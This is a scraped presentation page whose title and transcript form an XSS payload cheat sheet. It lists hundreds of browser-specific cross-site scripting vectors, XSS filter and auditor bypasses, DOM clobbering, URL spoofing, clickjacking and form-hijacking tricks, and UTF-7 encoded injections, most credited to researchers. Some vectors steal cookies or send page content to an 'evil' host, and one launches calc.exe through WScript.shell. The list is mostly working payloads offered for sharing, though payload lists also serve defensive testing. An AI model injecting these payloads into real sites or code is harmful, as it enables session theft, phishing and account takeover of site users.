Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

'">><marquee><img src=x onerror=confirm(1)></marquee>"></pla

No description
by

Васил А.

on 19 October 2013

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of '">><marquee><img src=x onerror=confirm(1)></marquee>"></pla

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(document.cookie)</script>"><img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

http://12342.site11.com/level2.php?a=+<svg+xmlns%3D"http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg"><g+onload%3D"javascript%3Aprompt%28904063%29"><%2Fg><%2Fsvg>&b=+<svg+xmlns%3D"http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg"><g+onload%3D"javascript%3Aprompt%28904063%29"><%2Fg><%2Fsvg>


>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(23421)>'

</TextArea><script>alert(24375)</script>

<!-- `<img/src=xx:xx onerror=alert(1)//--!>

<!-- " --!><input value="><img src=xx:x onerror=alert(1)//">

<![if<iframe/onload=vbs::alert[:]>

<![<img src=x:x onerror=alert(1)//]-->

<style>//<!--</style> -->*{x:expression(alert(URL=3))}//<style></style>

<xmp><!--</xmp><img src="//mmme.me#--></xmp><img src=xx:x onerror=alert(1)//"/>

<!-- --!><input value="--><body/onload=alert(1)//">

<script>/*<!--</script>-->*/alert(1)/*<script>*/</script>

<iframe onload=location=window.name>

<img language=vbs src=<b onerror=alert#1/1#>
Opera cross-domain set cookie 0day: document.cookie='xss=jackmasa;domain=.me.'
Reverse 401 basic auth phishing by @jackmasa POC:
document.domain='com' chrome/safari same domain suffix cross-domain trick.
Safari empty location bar bug by @jackmasa POC:
Safari location object pollution tech: by @kinugawamasato
Safari URL spoofing about://mmme.me POC:
Opera URL spoofing vuln data://mmme.me by @jackmasa POC:
Universal URL spoofing data:;//mmme.me/view/1#1,2 #firefox #safari #opera
New dom xss vector xxx.innerHTML=document.title by @0x6D6172696F
Opera data:message/rfc822 #XSS by @insertScript
#IE <iframe><iframe src=javascript:alert(/@jackmasa/)></iframe>
IE cool expression xss <div id="alert(/@0x6D6172696F/)" style="x:expression(eval)(id)">
Clever webkit xss auditor bypass trick <script?=data:,alert(1)<!-- by @cgvwzq
Bypass IE8 version flash docuemnt object protection by @jackmasa
Bypass IE all version flash docuemnt object protection by @gainover1
Bypass IE9 flash docuemnt object protection by @irsdl
Bypass IE8 flash docuemnt object protection by @irsdl
New XSS vector (#Opera Specific) <sVg><scRipt %00>prompt&lpar;/@soaj1664ashar/&rpar;????????????????
IE xss filter bypass 0day : <xml:namespace prefix=t><import namespace=t implementation=..... by @gainover1 #IE #0day
<iframe srcdoc='&lt;svg/onload=alert(/@80vul/)&gt;'> #chrome
IE xss filter bypass 0day :<script/%00%00v%00%00>alert(/@jackmasa/)</script> and %c0?//(%000000%0dalert(1)// #IE #0day
new XMLHttpRequest().open("GET", "data:text/html,<svg onload=alert(/@irsdl/)></svg>", false); #firefox #datauri
<h1 onerror=alert(/@0x6D6172696F/)>XSS</h1><style>*:after{content:url()}</style> #firefox
<script for=_ event=onerror()>alert(/@ma1/)</script><img id=_ src=> #IE
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>clickme #IE #xssfilter @kinugawamasato
Components.lookupMethod(self, 'alert')(1) #firefox
external.NavigateAndFind(' ',[],[]) #IE #URLredirect
<?php header('content-type:text/html;charset=utf-7-utf-8-shift_jis');?> IE decides charset as #utf-7 @hasegawayosuke
<meta http-equiv=refresh content="0 javascript:alert(1)"> #opera
<meta http-equiv=refresh content="?,javascript&colon;alert(1)"> #chrome
<svg contentScriptType=text/vbs><script>MsgBox"@insertScript"<i> #IE9 #svg #vbscript
setTimeout(['alert(/@garethheyes/)']); #chrome #safari #firefox
<svg></ y="><x" onload=alert('@0x6D6172696F')> #svg
Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=alert #webkit #opera
URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=alert(document.domain)> #Opera @jackmasa
<a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>? #Chrome #XSS @RSnake
Clipboard-hijack without script and css: http://<bdo dir=rtl>elgoog</bdo>.com
Opera:<style>*{-o-link:'data:text/html,<svg/onload=alert(/@garethheyes/)>';-o-link-source:current}</style><a href=1>aaa
$=<>@mozilla.org/js/function</>;$::[<>alert</>](/@superevr/) #firefox
Firefox cookie xss: with(document)cookie='???????????????????????????????',write(cookie); by @jackmasa
<svg><script>location&equals;&#60&#62javascript&amp;#x3A;alert(1)&#60&#33&#47&#62;</script> #Firefox #JustForFun
Just don't support IE <a href=[0x0b]" onclick=alert(1)//">click</a>
<style>//<!--</style> -->*{x:expression(alert(/@jackmasa/))}//<style></style>
<!-- --!><input value="--><body/onload=`alert(/ @jackmasa /)//`"> #IE #XSS
Input[hidden] XSS <input type=hidden style=`x:expression(alert(/ @garethheyes /))`> target it.
Firefox clipboard-hijack without script and css : http://<img alt="evil/#" width=0 height=0 >
<![<img src=x:x onerror=`alert(/ @jackmasa /)//`]-->
#E4X <{alert(1)}></{alert(2)}>.(alert(3)).@wtf.(wtf) by @garethheyes
#vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) =‘A’ by @masa141421356
({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ @0x6D6172696F /\51')()
No referer : <iframe src="javascript:'<script src=>;</script>'"></iframe>
<svg><script>/*&midast;&sol;alert(' @0x6D6172696F ')&sol;&sol;*/</script></svg>?
#VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub]
if(1)alert(' @jackmasa ')}{ works in firebug and webkit's console
<svg><script onlypossibleinopera:-)> alert(1) #opera by @soaj1664ashar
<![if<iframe/onload=vbs::alert[:]> #IE by @0x6D6172696F, @jackmasa
<svg><script/XL:href=&VeryThinSpace;data&colon;;;;base64;;;;&comma;&lt;&gt;?YWx?lc?nQ?oMSk?=> mix! #opera by @jackmasa
<! XSS="><img src=xx:x onerror=alert(1)//"> #Firefox #Opera #Chrome #Safari #XSS
document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=alert(1)>') #IE #XSS
header('Refresh: 0;url=javascript:alert(1)');
<script language=vbs></script><img src=xx:x onerror="::alert' @insertScript '::">
<a href="data:text/html,<script>eval(name)</script>" target="alert(' @garethheyes @0x6D6172696F ')">click</a>
#CSS expression <style>*{font-family:'Serif}';x[value=expression(alert(URL=1));]{color:red}</style>
#ES #FF for(location of ['javascript:alert(/ff/)']);
#E4X function::['location']='javascript'':alert(/FF/)'
HTML5 entity char <a href="javas&Tab;cri&NewLine;pt:alert(' @garethheyes ')">test</a>
#Firefox <a href="x:alert(1)" id="test">click</a> <script>eval(test'')</script> by @cgvwzq
<div style="color:rgb(''&#0;x:expression(alert(URL=1))"></div> CSS and CSS :P
toUpperCase XSS document.write('<? oncl?ck=&#97&#108&#101&#114&#116&#40&#49&#41>asd</?>'.toUpperCase()) by @jackmasa
IE6-8,IE9(quick mode) with jQuery<1.7 $("button").val("<iframe src=vbscript:alert(1)>") by @masa141421356
aha <script src=>alert(/IE|Opera/)</script>
Opera bug? <img src=//\ onload=alert(1)>
Use 127.1 no 127.0.0.1 by @jackmasa
IE vector location='&#118&#98&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41'
#jQuery super less-xss,work in IE: $(URL) 6 chars
#Bootstrap tooltip.js xss some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap
innerText DOM XSS: innerHTML=innerText
Using IE XSS filter or Chrome xss auditor to block <meta> url redirect.
jQuery 1.8 a new method: $.parseHTML('<img src=xx:X onerror=alert(1)>')
IE all version CSRF vector <img lowsrc=//google.com>
Timing vector <img src=//ixss.sinaapp.com/sleep.php>
Firefox data uri can inherit dom-access. <iframe src="data:D,<script>alert(top.document.body.innerHTML)</script>">
IE9 <script/onload=alert(1)></script>
Webkit and FF <style/onload=alert(1)>
Firefox E4X vector alert(<xss>xs{[function::status]}s</xss>) it is said E4H would replace E4X :P
IE8 document.write('<img src="<iframe/onload=alert(1)>\0">')
If you want to share your cool vector, please do not hesitate to let me know :)
ASP trick: ?input1=<script/&in%u2119ut1=>al%u0117rt('1')</script> by @IRSDL
New spec:<iframe srcdoc="<svg/onload=alert(domain)>"> #chrome 20 by @0x6D6172696F
#Firefox syntax broken try{*}catch(e if(alert(1))){} by @garethheyes
JSON XSS Tips: /json.cgi?a.html by @hasegawayosuke
JSON XSS Tips: /json/.html with PHP and .NET by or /json;.html with JSP by @superevr
?=ss <a href="http://?.lv">click</a> by @_cweb
<a href="http://www?example?com">click</a> by @_cweb
Firefox link host dom xss https://t.co/aTtzHaaG by @garethheyes
<a href="http://www?example?com ">click</a> by @_cweb
history.pushState([],[],'/xssvector') HTML5 URL spoofing!
Clickjacking with history.forward() and history.back() by @lcamtuf
Inertia-Clickjacking for(i=10;i>1;i--)alert(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true); by @80vul
XHTML Entity Hijacking [<!ENTITY nbsp "'">] by @masa141421356
Firefox <img src=javascript:while([{}]);>
IE <!--[if<img src=x:x onerror=alert(5)//]--> by @0x6D6172696F H5SC#115
Firefox funny vector for(i=0;i<100;) find(); by @garethheyes
IE breaking framebusting vector <script>var location={};</script>
IE JSON hijack with UTF-7 json={'x':'',x:location='1'} <script src=... charset=utf-7></script>
Firefox <iframe src=view-source://xxxx.com>; with drag and drop
<button form=hijack_form_id formaction=//evil style="position:absolute;left:0;top:0;width:100%;height:100%"><plaintext> form hijacking
Dangling markup injection <img src='//evil by @lcamtuf
Webkit <iframe> viewsource attribute: // <iframe viewsource src="//test.de"></iframe> by @0x6D6172696F
DOM clobbering:<form name=location > clobbered location object on IE.
DOM clobbering:<form name=document><image name=body> clobbered document->body
<isindex formaction=javascript:alert(1)> by @jackmasa
Classic IE backtick DOM XSS: <img src="xx:x" alt="``onerror=alert(1)"><script>document.body.innerHTML=''</script>
Firefox <a href="https://4294967298915183000">click</a>=>google by @garethheyes
<a href="data:text/html;base64xoxoxox,<body/onload=alert(1)>">click</a> by @kkotowicz
Opera <a href="data:text/html;base64,PHN2Zy?9vbmxv?YWQ<>>9YWxlc>>>nQoMSk">click</a> variant base64 encode. by @jackmasa
Opera <svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"> by LeverOne H5SC#88
Webkit and Opera <a href="\/www.google.com/favicon.ico">click</a> by @kkotowicz
FF <a href="//???????">click</a> url trick by @jackmasa
IE <script>-{valueOf:location,toString:[].pop,0:'vbscript:alert%281%29',length:1}</script> @thornmaker , @sirdarckcat
<i/onclick=URL=name> IE less xss,20 chars. by @0x6D6172696F
<a rel="noreferrer" href="//google.com">click</a> no referrer by @sneak_
FF <img src="jar:!/"> no referrer by @sneak_
No dos expression vector <i style=x:expression(alert(URL=1))> by @jackmasa
<svg><style>*{font-family:'<svg onload=alert(1)>';}</style></svg> by @0x6D6172696F
JSLR( @garethheyes ) challenge result:
@irsdl challenge result:
<body onload='vbs:Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(x.responseText)'> Vbscript XHR by @masa141421356
XML Entity XSS by @garethheyes
Webkit <svg/onload=domain=id> cross-domain and less vector! example: (JSFiddle cross to JSBin) by @jackmasa
<style>@import//evil? >>>steal me!<<< scriptless by @garethheyes
IE <input value="<script>alert(1)</script>" ` /> by @hasegawayosuke
<xmp><img alt="</xmp><img src=xx:x onerror=alert(1)//"> Classic vector by slacker :D
<a href="#" onclick="alert(' &#39&#41&#59&#97&#108&#101&#114&#116&#40&#50 ')">name</a> Classic html entity inject vector
A nice opera xss: Put 65535 Bytes before and Unicode Sign by @insertScript
<iframe src="jar://html5sec.org/test.jar!/test.html"></iframe> Upload a jar file => Firefox XSS by @0x6D6172696F
JS Array Hijacking with MBCS encodings ppt by @hasegawayosuke
<meta http-equiv="refresh" content="0;url=http://good/[>>>inj]&#59url=http://evil/[<<<inj]"> IE6-7 Inject vector by @kinugawamasato
IE UTF7 BOM XSS <link rel=stylesheet href='data:,*%7bx:expression(alert(1))%7D' > by @garethheyes
<svg><script>a='<svg/onload=alert(1)></svg>';alert(2)</script> by @0x6D6172696F , @jackmasa
Opera <svg><animation x:href=javascript:alert(1)> SVG animation vector by @0x6D6172696F
<meta charset=gbk><script>a='x?\';alert(1)//';</script> by @garethheyes
FF <a href="data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a> by @0x6D6172696F
<noscript><!--</noscript><img src=xx:x onerror=alert(1) --> non-IE
<svg><script xlink:href="data:,alert(1)"> by @0x6D6172696F
Firefox statusline spoofing<math><maction actiontype="statusline#http://google.com" href="//evil">click by LeverOne
<svg><oooooo/oooooooooo/onload=alert(1) > by @jackmasa
<math><script>sgl='<img/src=xx:x onerror=alert(1)>'</script> chrome firefox opera vector by @jackmasa
FF <applet code=javascript:alert('sgl')> by @jackmasa
Nice IE DOM XSS: <div id=d><x xmlns="><body onload=alert(1)"><script>d.innerHTML=‘’</script> by LeverOne
<script>RuntimeObject("w*")["window"]["alert"](1);</script> IE a new method get window object! by @s_hskz
<body onload="$})}}}});alert(1);({0:{0:{0:function(){0({"> Chrome crazy vector! by @cgvwzq
IE <!-- `<img/src=xx:xx onerror=alert(1)//--!> by @jackmasa H5SC:
<a href="javascript&colon;alert&lpar;1&rpar;">click</a> non-IE
<a href="feed:javascript&colon;alert(1)">click</a> Firefox
<link href="javascript:alert(1)" rel="next"> Opera, pressing the spacebar execute! by @shafigullin
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> works on webkit by @garethheyes


UTF-7

#1 Most basic pattern
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
<script>alert(document.location)</script>
Most basic XSS pattern with UTF-7.
#2 URL encoded most basic pattern
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
<script>alert(document.location)</script>
Expression which URL encoded the above.
Example: http://example.com/search?q=%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
#3 With quote
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
"><script>alert(document.location)</script><"
#4 URL encoded, with quote
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
"><script>alert(document.location)</script><"
Expression which URL encoded the above.
Example: http://example.com/search?q=%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
#5 Inject fake <meta>
+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
</title><meta http-equiv='content-type' content='text/html;charset=utf-7'>
Inject fake <meta> before original <meta> and force recognize as UTF-7.
<title>
+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">

Full transcript